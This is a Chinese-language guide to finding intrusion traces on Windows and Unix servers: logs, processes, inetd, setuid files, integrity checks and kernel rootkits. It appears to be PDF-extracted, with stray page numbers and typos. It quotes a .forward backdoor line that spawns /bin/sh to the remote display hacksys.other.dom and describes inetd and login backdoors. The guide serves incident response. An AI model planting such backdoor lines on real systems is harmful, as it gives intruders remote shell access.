服务器入侵痕迹排查

1、Windows 日志查看 windows直接查看事件查看器 Win+R 输入 eventvwr.msclinux日志路径在/var/log/ 下last -f /var/log/wtmp # 查看可以 IP登陆cat /var/log/sercure # 系统登陆日志及 IP历史命令windows获取powershell历史命令存储文件路径(Get-PSReadlineOption).HistorySavePath获取后cat查看即可/命令较多，您可在记事本中打开txt文件进行分析。linuxcat .bash_history #查看历史执行脚本1、检查系统密码文件首先从明显的入手，查看一下p

2、asswd文件，ls - l /etc/passwd查看文件修改的日期。检查一下passwd文件中有哪些特权用户，系统中 uid为0的用户都会被显示出来。顺便再检查一下系统里有没有空口令帐户：2、查看一下进程，看看有没有奇怪的进程重点查看进程：ps - aef | grep inetdinetd是UNIX系统的守护进程，正常的 inetd的pid都比较靠前，如果你看到输出了一个类 似inetd - s /tmp/.xxx之类的进程，着重看 inetd -s后面的内容。在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而 solaris系统

3、中也仅仅是inetd - s,同样没有用inetd去启动某个特定的文件；如果你使用ps命令看到inetd启动了某个文件，而你自己又没有用inetd启动这个文件，那就说明已经有人入侵了你的系统，并且以root权限起了一个简单的后门。输入ps -aef查看输出信息，尤其注意有没有以./xxx开头的进程。一旦发现异样的进程，经检查为入侵者留下的后门程序，立即运行 kill - 9 pid开杀死该进程，然后再运行ps -aef查看该进程是否被杀死；一旦此类进程出现杀死以后又重新启动的现象，则证明系统被 人放置了自动启动程序的脚本。这个时候要进行仔细查找：find / -name程序名-print,假设

4、系统真的被入侵者放置了后门，根据找到的程序所在的目录，会找到很多有趣的东东JUNIX下隐藏进程有的时候通过替换ps文件来做，检测这种方法涉及到检查文件完整性，稍后我们再讨论这种方法。接下来根据找到入侵者在服务器上的文件目录，一步一步进行追踪。3、检查系统守护进程检查/etc/inetd.conf文件，车入：cat /etc/inetd.conf | grep - v “人#,输出的信息就是你这 台机器所开启的远程服务。一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh替换掉in.telnetd ,然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用

5、输入用户名和密码而直 接获得一个rootshell。4、检查网络连接和监听端口输入netstat -an ,列出本机所有的连接和监听的端口，查看有没有非法连接。输入netstat - rn,查看本机的路由、网关设置是否正确。输入ifconfig - a,查看网卡设置。5、检查系统日志命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况，判断 syslog上次启动的时间是否正常，因为 syslog是以root身份执 行的，如果发现syslo

6、g被非法动过，那说明有重大的入侵事件。在 linux 下输入 ls - al /var/log在 solaris 下输入 ls - al /var/adm检查wtmp utmp ,包才messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法。6、检查系统中的core文件通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式。这种方式有一定的成功率，也就是说它并不能100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core - exec ls

7、- l ;依据core所在的目录、查询core文件来判断是否有入侵行为。7、.rhosts 和.forward这是两种比较著名的后门文件，如果想检查你的系统是否被入侵者安装了后门，不妨全局查找这两个文件：find / -name ” .rhosts ”- printfind / -name ” .forward ”- print在某用户的$HOME下，.rhosts文件中仅包含两个+ 号是非常危险的，如果你的系统上开了 513端口（ rlogin端口，和telnet作用相同），那么任意是谁都可以用这个用户登录到你的系 统上而不需要任何验证。Unix下在.forward文件里放入命令是重新获得访

8、问的常用方法在某一用户$HOME下的.forward可能设置如下：username|/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0- e /bin/sh这种方法的变形包括改变系统的mail的别名文件（通常位于/etc/aliases）.注意这只是一种简单的变换.更为高级白能够从.forward中运行简单脚本实现在标准输入执行任意命令（小部分预处理后）.利用smrsh可以有效的制止这种后门（虽然如果允许可以自运行的elms filter或procmail类程序，很有可能还有问题。在 Solaris系统下，如果你运行如下命令： ln -s

9、/var/mail/luser /.forward然后设置vacation有效，那么/var/mail/luser 就会 被拷贝到/.forward ,同时会附加 |/usr/bin/vacation me，旧的 symlink 被移到 /.forward.BACKUP 中。直接删除掉这两个文件 也可以。8、检查系统文件完整性检查文件的完整性有多种方法，通常我们通过输入ls -l文件名来查询和比较文件， 这种方法虽然简单，但还是有一定的实用性。 但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm - V rpm - qf文件名 来查询，国家查询的结果是否正常来判断文件是否完

10、整。在LINUX下使用rpm来检查文件的完整性的方法也很多，这里不一一赘述，可以 man rpm来获得更多的格式。UNIX系统中，/bin/login是被入侵者经常替换作为后门的文件，接下来谈一下login后门：UNIX里，Login程序通常用来对 telnet来的用户进行口令验证。入侵者获取 login的源代码 并修改，使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令，它将忽视管理员设置的口令让你长驱直入：这将允许入侵者进入任何账号，甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问，所以入侵者可以登录获取 shell却不会暴露

11、该账号。管理员注意到这种后门后，使用 strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或 者更改隐藏口令，使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令，输入md5sum文件名检查该文件的md5签名。它的使用格式如下：md5sum - b使用二进制方式阅读文件；md5sum - c逆向检查 MD5签名；md5sum - t使用文本方式阅读文件。在前面提到过守护进程，对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较，举个简单的例子，如果你开放了 telnet服务，

12、守护进程配置文件中就会有一句：telnetstream tcp nowait root /usr/sbin/in.telnetd in.telnetd可以看到它所使用的文件是/usr/sbin/in.telnetd ,检查该文件的完整性，入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件，检查该文件的完整性， 可以直接cat /etc/crontab ,仔细阅读该文件有没有被入侵者利用来做其他的事情。不替换login等文件而直接使用进程来启动后门的方法有一个缺陷，即系统一旦重新启动， 这个进程就被杀死了，所以

13、得让这个后门在系统启动的时候也启动起来。通常通过检查 /etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序；这个方法怎么有点象查 windows 下的 trojan ?说到这里，另外提一下，如果在某一目录下发现有属性为这样的文件：-rwsr-xr-x 1 root rootxxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell ,这就是setuid文件。运行find - perm 4000 - print对此类文件进行全局查找，然后删除这样的文件。9、检查内核级后门如果你的系统被人安装了这种后门，通常都是比较讨厌的，我常常就在想，遇到这种情况还是重新安

14、装系统算了J,言归正传，首先，检查系统加载的模块，在LINUX系统下使用lsmod命令，在solaris系统下使用 modinfo命令来查看。这里需要说明的是，一般默认安装的 LINUX 加载的模块都比较少，通常就是网卡的驱动；而solaris下就很多，没别的办法，只有一条一条地去分析。对内核进行加固后，应禁止插入或删除模块，从而保护系统的安全，否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换 create_module()和delete_module()来达到上述目的。另外，对这个内核进行加固模块时应尽早进行，以防系统调用已经被入侵者替换。如果系统被加载了后门模块，但是在模块列表/

15、proc/module里又看不到它们，有可能是使用了hack工具来移除加载的模块，大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况，需要仔细查找/proc目录，根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录，当然可能这个目录是隐藏的。10、手工入侵检测的缺陷上面谈了一些手工入侵检测的方法，但这些方式有一定的缺陷， 有的甚至是不可避免的缺陷, 这就是为什么说手工检测是“体力活”的原因。我们先来看看这些缺陷：1）手工入侵检测只能基于主机，也就是说所有的入侵检测工作只能在操作系统下面完成，这是它固有的缺陷；基本上所有凌驾于操作系统之外的

16、入侵行为统统无法探测得到。网络级的入侵，交换机、路由器上面的入侵和攻击行为，作为服务器的操作系统都无法得知； 信息已经从主机发送出去了，如果在传送的介质当中被拦截，主机的操作系统是永远无动于衷的。2）手工的入侵检测要求精通操作系统，并且漏洞库资料的刷新要快；在做一个网管的同时要做一个黑客。可以说经验的积累永远跟不上全世界漏洞资料的更新，难保系统不被新的漏洞所侵入。3）手工入侵检测只是“就事论事”，根据发生的某一情况判断入侵事件，再作出相应的对应和防范措施，而无法预先根据入侵者的探测行为作出对攻击事件的描述，定义事件级别，在不防碍系统正常工作的情况下阻止下一步对系统的入侵行为。4）可以通过手工入

17、侵检测发现主机上的某些漏洞，进而作出相应的安全措施。但却避免不 了一种现象：无法避免两个入侵者利用同一个漏洞攻击主机，即无法判断攻击模式来切断入侵行为。5）综上所述，手工的入侵检测行为对于系统安全来说只是治标而不治本，多半还是依靠管 理员的技巧和经验来增强系统的安全性，没有，也不可能形成真正的安全体系，虽然聊胜于无，可以检测和追踪到某些入侵行为，但如果碰上同样精通系统的入侵者就很难抓住踪迹了。日志分析登录日志二进制日志文件登录.最近一次注册日志/var/log/lastlog # 最近一次用户登录的时间记录 1.用户登录日志/var/log/wtmp rootlocalhost # last-

18、或rootlocalhost # last -ffilename# 指定输入文件1234 5应用日志Apache服务器日志/var/log/httpd/access.log # 其中包含Apache服务器的客户系统访问记录/var/log/httpd/error.log # 其中包含 Apache服务器的所有出错记录 1 2 3CUPS丁印系统日志CUPS Common Unix Printing System 通用 UNIX打印系统/var/log/cups/access_log # 访问日志文件，其中记录了打印机的设置情 况，提交的打印作业，以及打印作业的状态记录等信息/var/log/cups/error_log # 默认的日志文件，存储各种错误信息 1234Samba服务器日志目录/var/log/sambarootlocalhost # ls /var/log/sambalog.smbd #其中包含Samba服务器启动以及